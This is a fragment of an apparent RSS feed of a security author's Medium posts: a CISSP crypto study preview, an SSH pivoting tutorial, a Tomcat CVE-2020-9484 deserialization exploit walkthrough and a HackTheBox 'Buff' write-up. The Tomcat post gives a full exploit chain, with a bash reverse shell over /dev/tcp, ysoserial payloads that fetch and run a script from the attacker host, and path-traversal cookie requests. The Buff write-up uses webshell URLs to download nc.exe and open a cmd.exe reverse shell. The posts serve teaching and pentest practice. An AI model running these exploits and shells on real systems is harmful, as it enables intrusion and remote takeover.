            <guid isPermaLink="false">https://medium.com/p/384b6911c7bb</guid>
            <category><![CDATA[cissp]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[study]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Thu, 24 Mar 2022 02:53:44 GMT</pubDate>
            <atom:updated>2023-08-20T18:32:30.543Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pass the CISSP on first try with this guide</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*DgwVLDXr4Xu5PMTyRmuMtA.jpeg" /></figure><p>Back in 2017 I sat and passed my CISSP exam, it was my first year practicing cyber security. At some point in my early career I decided that instead of wasting time obtaining entry level certifications, I was going to command some respect and obtain the most sought after certifications from the get-go. I attribute my passing of this strenuous exam to (possibly) the greatest study guide document I’ve ever put together. I wanted to take this opportunity to share this guide with the Medium community and my network in hopes it could be that missing piece for someone else’s passing of this examination and taking their career to the next level.</p><p>This study guide was modeled after the study guides we often received during our college days, these served as the backbone for all our studying needs for the given subject. We would literally memorize these things inside out, so that on exam day, the keywords were so engraved into our brains that picking the correct answers was effortless.</p><p>This guide includes all the highly testable key terms found on the exam. Highly testable means the key term is likely to appear in at least two questions on the exam. Although this guide is highly inclusive, it does not include ALL the possible terms one might see on the examination, as the exam is known for being “a mile long and an inch deep”. Covered will be all 8 domains broken down into 10 modules and attempt to define most terms in only a single bullet point of information to make it easy to commit to memory.</p><p>Good luck!</p><p><strong>PREVIEW (Full version link at the bottom, free of course):</strong></p><p><strong>Module 3: Cryptography</strong></p><p>Gets encrypted by a person’s own private key and can be decrypted with that same person’s public key, which everyone has access to.</p><p>If other person sends message back, gets encrypted with the other person’s public key and can be encrypted by that person’s private key.</p><p><em>3 Types of Cryptography</em></p><p><strong>Symmetric</strong> — sender and receiver share the same key that used to encrypt and decrypt.</p><ul><li><strong>DEA/DES</strong> — uses 64 bit encryption that has effectiveness of 56 bits.</li><li><strong>3DES</strong> — 112 bit effective key length; encrypts a message three times with multiple keys.</li><li><strong>AES</strong> — use the Rinjdael algorithm with key/block sizes of 128, 192, 256 bits and 10, 12, 14 rounds of encryption.</li></ul><p>o Session Keys<strong> </strong>— secret symmetric key used to encrypt session messages, one session and then destroyed.</p><p><strong>Asymmetric </strong>— Algorithm identified by ECC or names; each entity has a private key for exclusive use and corresponding public key to the public. Provides nonrepudiation.</p><ul><li><strong>Diffie Hellman </strong>— first public key crypto algorithm. Enables two systems to generate a symmetric key securely without requiring a previous relationship.</li><li><strong>RSA</strong> — relies of difficulty of finding prime factorization of large numbers.</li><li><strong>ECC</strong> — computes discrete logarithms over elliptic curve group.</li></ul><p>o Digital Signatures — message is encrypted and digitally signed providing for confidentiality, integrity, and non-repudiation.</p><p>o PKI (Public Key Infrastructure) — binds keys with respective user identities by means of a certificate authority (CA)</p><p>§ Root CA — initiates all trust paths, all certificate holders given self-signed root CA certificate.</p><p><strong>Hashing</strong> — HA or MD in algorithm; validation of the original message’s integrity.</p><p><a href="https://drive.google.com/file/d/0B2BX-kNQKDUnQTFYLTJvRzlvak0/view?resourcekey=0-i8oKuydUzdMwEqs5UvjjRw">FULL STUDY GUIDE LINK</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=384b6911c7bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tunnel traffic through jump host]]></title>
            <link>https://romanenco.medium.com/tunnel-traffic-through-jump-host-988797fea588?source=rss-dd275906bfef------2</link>
            <guid isPermaLink="false">https://medium.com/p/988797fea588</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Mon, 18 Jan 2021 19:15:08 GMT</pubDate>
            <atom:updated>2021-01-18T19:35:54.146Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*1wf4LKAbWX9MqNuyHcSgNQ.png" /></figure><p>Tunnel traffic through a compromised jump host to reach otherwise unreachable internal networks or hosts (pivot). As seen in network penetration testing environments.</p><p><em>prerequisite:</em> access via SSH to jump host. <br>TARGET1 = jump host ; TARGET2 = jump target</p><p>set SSH dynamic port forward,<br>ssh -D1080 root@&lt;TARGET1/&gt;</p><p>Check locally that the dynamic port 1080 is listening,<br>netstat -alnp |grep LIST |grep 1080</p><blockquote>ProxyChains</blockquote><p>Edit proxychains configuration file, <strong>/etc/proxychains4.conf</strong> (default install on Kali)</p><p>Ensure the following line is uncommented in the conf file,<br>localnet 127.0.0.0/255.0.0.0</p><p>At the end of the conf file, add the ssh tunnel to the ProxyList as,<br>socks5 127.0.0.1 1080</p><p>Now we are able to prefix our commands in the terminal with <em>proxychains </em>and have the traffic routed through the jump host.</p><p>For example, to Nmap port scan a jump target in another network,<br>proxychains Nmap -sT -sV &lt;TARGET2/&gt;<br><em>note* must use TCP connect (-sT) for best results when scanning through proxychains*.</em></p><blockquote>Browser</blockquote><p>To configure the web browser (Firefox) to use the jump host tunnel,<br>Go to Preferences &gt; Network Settings &gt; Connection Settings<br>Select Manual proxy configuration <br>In the SOCKS Host field enter 127.0.0.1 1080 and make sure SOCKSv5 is selected. <br>Check, web browser traffic should now be tunneled through the jump host.</p><blockquote>Burp Suite</blockquote><p>To make an instance of Burp Suite use the dynamic SSH tunnel,<br>Navigate to User Options tab, <br>In the SOCKS Proxy section, check the “Use SOCKS Proxy” checkbox.<br>Enter 127.0.0.1 1080 for the host/port fields. <br>Check, Burp traffic should be tunneled through the jump host.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=988797fea588" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache Tomcat Deserialization of Untrusted Data RCE (CVE-2020–9484)]]></title>
            <link>https://romanenco.medium.com/apache-tomcat-deserialization-of-untrusted-data-rce-cve-2020-9484-afc9a12492c4?source=rss-dd275906bfef------2</link>
            <guid isPermaLink="false">https://medium.com/p/afc9a12492c4</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[apache-tomcat]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Wed, 11 Nov 2020 22:22:02 GMT</pubDate>
            <atom:updated>2020-11-11T22:22:02.977Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xLY7boWuqukCPSPnFGup8w.png" /></figure><p>a niche remote code execution via deserialization on Apache Tomcat</p><p><strong>Affected versions:</strong></p><ul><li>Apache Tomcat 10.x &lt; 10.0.0-M5</li><li>Apache Tomcat 9.x &lt; 9.0.35</li><li>Apache Tomcat 8.x &lt; 8.5.55</li><li>Apache Tomcat 7.x &lt; 7.0.104</li></ul><p><em>i.e. versions pre-April 2020</em></p><p><strong>Prerequisites to be vulnerable:</strong></p><ol><li>The attacker is able to upload a file with arbitrary content, has control over the filename, and knows the location where it is uploaded.</li><li>The PersistentManager is enabled and it’s using a FileStore</li><li>The PersistentManager is configured with sessionAttributeValueClassNameFilter=&quot;null&quot; (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized</li></ol><p>Note, in a <strong>default</strong> configuration, Tomcat will run with StandardManager . In some situations administrators may choose to configure the use of PersistentManager by editing the conf/context.xml file.</p><p>In a PersistentManageer implementation (<em>org.apache.catalina.session.PersistentManager</em>) sessions persist across restarts of the container, sessions are kept backed up on disk to allow recovery for fault tolerance. This configuration also lmits the number of sessions kept in memory by swapping less active sessions out to disk.</p><p>When Tomcat receives a HTTP request with a JSESSIONID cookie, it will ask the Manager to check if this session already exists. It will first check in memory, but then check on disk if it is not there. When it finds the session on disk, it will be retrieved and deserialized to parse the session information from it.</p><p>Side note, you may also try using this script which attempts to determine if prerequisites for the host are met and if the host is vulnerable. Personally I have not had much luck with it, <a href="https://github.com/osamahamad/CVE-2020-9484-Mass-Scan">https://github.com/osamahamad/CVE-2020-9484-Mass-Scan</a></p><p>Moving on, we need to upload a malicious serialized object to the internal location on the machine so that we can retrieve it via the JSESSIONID cookie for RCE. We generate the required objects with ysoserial <a href="https://github.com/frohoff/ysoserial">https://github.com/frohoff/ysoserial</a></p><p>Create a payload file, I will use a simple bash reverse shell to port 1337,</p><p><em>payload.sh</em></p><pre>#!/bin/bash<br>bash -c &quot;bash -I &gt;&amp; /dev/tcp/&lt;MY KALI IP&gt;/1337 0&gt;&amp;1&quot;</pre><p>Next, using ysoserial , we will create three files, one to download our payload, chmod our payload and one to execute it.</p><p><em>downloadPayload.session</em></p><pre>java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 &#39;curl http://&lt;MY KALI IP&gt;/payload.sh -o /tmp/payload.sh&#39; &gt; downloadPayload.session</pre><p><em>chmodPayload.session</em></p><pre>java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 &quot;chmod 777 /tmp/payload.sh&quot; &gt; chmodPayload.session</pre><p><em>executePayload.session</em></p><pre>java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 &#39;bash /tmp/payload.sh&#39; &gt; executePayload.session</pre><p>From this point on, we can issue curl commands one by one to achieve our means, but I am going to automate this via a quick bash script.</p><p><em>curl.sh</em></p><pre>#!/bin/bash<br>curl <a href="http://target.demo:8080/upload.jsp">http://target.demo:8080/upload.jsp</a> -H &#39;Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload&#39; -F &#39;image=<a href="http://twitter.com/downloadPayload">@downloadPayload</a>.session&#39;<br>curl <a href="http://target.demo:8080/upload.jsp">http://target.demo:8080/upload.jsp</a> -H &#39;Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload&#39;<br>sleep 1<br>curl <a href="http://target.demo:8080/upload.jsp">http://target.demo:8080/upload.jsp</a> -H &#39;Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload&#39; -F &#39;image=<a href="http://twitter.com/chmodPayload">@chmodPayload</a>.session&#39;<br>curl <a href="http://target.demo:8080/upload.jsp">http://target.demo:8080/upload.jsp</a> -H &#39;Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload&#39;<br>sleep 1<br>curl <a href="http://target.demo:8080/upload.jsp">http://target.demo:8080/upload.jsp</a> -H &#39;Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload&#39; -F &#39;image=<a href="http://twitter.com/executePayload">@executePayload</a>.session&#39;<br>curl <a href="http://target.demo:8080/upload.jsp">http://target.demo:8080/upload.jsp</a> -H &#39;Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload&#39;</pre><p>Now with all these files in the same folder, set up a webserver for the payload downloaded by the target and a listener for the reverse shell.</p><p>Execute the curl script and voila we have remote code execution!</p><p>References:</p><ul><li><a href="https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/">Apache Tomcat RCE by deserialization (CVE-2020-9484) - write-up and exploit - Red Timmy Security</a></li><li><a href="https://meterpreter.org/cve-2020-9484-apache-tomcat-remote-code-execution-vulnerability-alert/">CVE-2020-9484: Apache Tomcat Remote Code Execution Vulnerability Alert * InfoTech News</a></li><li><a href="https://tomcat.apache.org/tomcat-9.0-doc/api/org/apache/catalina/session/PersistentManager.html">PersistentManager (Apache Tomcat 9.0.39 API Documentation)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afc9a12492c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Buff — [writeup]]]></title>
            <link>https://romanenco.medium.com/htb-buff-writeup-f6f94f66c24d?source=rss-dd275906bfef------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6f94f66c24d</guid>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Roman Romanenco]]></dc:creator>
            <pubDate>Mon, 31 Aug 2020 23:28:07 GMT</pubDate>
            <atom:updated>2023-08-20T18:15:15.348Z</atom:updated>
            <content:encoded><![CDATA[<h3>Buff the standard pentest prep machine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YchrbUrXRyYPaz79FHvJDw.png" /></figure><p>Buff is a Windows machine rated as “Easy” on HackTheBox weighed toward CVEs. This machine perfectly mimics a standard network pentest scenario and process. Web shells, file transfers, and SSH tunnel port forwarding.</p><p>Start off with an Nmap port scan of the machine. After a quick scan for all ports, we see an Apache webserver with PHP on port 8080.</p><p>Nmap scan report for 10.x.x.x<br>Host is up (0.15s latency).<br>Not shown: 999 filtered ports<br>Some closed ports may be reported as filtered due to — defeat-rst-ratelimit<br>PORT STATE SERVICE VERSION<br>7680/tcp open pando-pub<br>8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)</p><p>Browsing the web application, specifically the contact.php page, gives us a solid clue about the software in use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*l--v_3qcYZL4URrTUDX4oQ.png" /></figure><p>A quick search on ExploitDB comes up with an unauthenticated remote code execution exploit. <a href="https://www.exploit-db.com/exploits/48506">https://www.exploit-db.com/exploits/48506</a></p><p>After downloading the exploit to our attacker machine and making edits as needed, we can launch it and get a webshell on the victim webserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UlcgUwTawIDMMrq4yktuyw.png" /></figure><p>Using our uploaded webshell, we can now run some commands on the webserver. I recommend playing around with the webshell in a browser and see what commands work on the backend and what responses we can get. Grab the user flag.</p><p><a href="http://10.10.10.198:8080/upload/kamehameha.php?telepathy=type%20C:\Users\shaun\Desktop\user.txt">http://10.10.10.198:8080/upload/kamehameha.php?telepathy=type%20C:\Users\shaun\Desktop\user.txt</a></p><p>Next we want to get a reverse shell on the box. We will need to upload nc.exe and plink.exe Windows binaries to the machine (both are included with Kali Linux)</p><p>Using the webshell, we curl the executables onto the victim machine from our Kali Linux webserver.</p><p><a href="http://10.10.10.198:8080/upload/kamehameha.php?telepathy=curl%20http://10.10.14.224/nc.exe%20--output%20nc.exe">http://10.10.10.198:8080/upload/kamehameha.php?telepathy=curl%20http://10.10.14.220/nc.exe%20--output%20nc.exe</a></p><p><a href="http://10.10.10.198:8080/upload/kamehameha.php?telepathy=curl%20http://10.10.14.224/nc.exe%20--output%20nc.exe">http://10.10.10.198:8080/upload/kamehameha.php?telepathy=curl%20http://10.10.14.220/plink.exe%20--output%20plink.exe</a></p><p>Let’s also get winPEAS.bat on the system to automate local system enumeration looking for anything we can take advantage of for privilege escalation. <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat">https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat</a></p><p>Next let’s get a reverse shell, start a nc listener on Kali, i.e. port 7070:</p><p>nc -lvp 7070</p><p>Send a shell to our listener from the victim machine using the webshell:</p><p><a href="http://10.10.10.198:8080/upload/kamehameha.php?telepathy=nc.exe%20-nv%2010.10.14.224%208888%20-e%20cmd.exe">http://10.10.10.198:8080/upload/kamehameha.php?telepathy=nc.exe%20-nv%2010.10.14.220%207070%20-e%20cmd.exe</a></p><p>I ran winPEAS.bat to automate local enumeration. Looking through the results a process called CloudMe caught my attention, running on local port 8888. A search revealed a buffer overflow exploit affecting the service.</p><p>Next question was how do I hit this service only running on 127.0.0.1 from the kali. earlier we uploaded plink.exe binary. Using plink it’s possible to forward a locally listening port to a remote port and remote host (kali) via SSH tunnel. Making it accessible locally on the kali machine.</p><p>In the Windows shell,</p><p>plink.exe -ssh kali@10.10.14.220 -R 8888:127.0.0.1:8888</p><p>Login with kali creds and connection is forwarded to kali machine on 8888</p><p>Lastly, modify the shellcode in the buffer overflow exploit, start a listener and catch the root reverse shell.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6f94f66c24d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>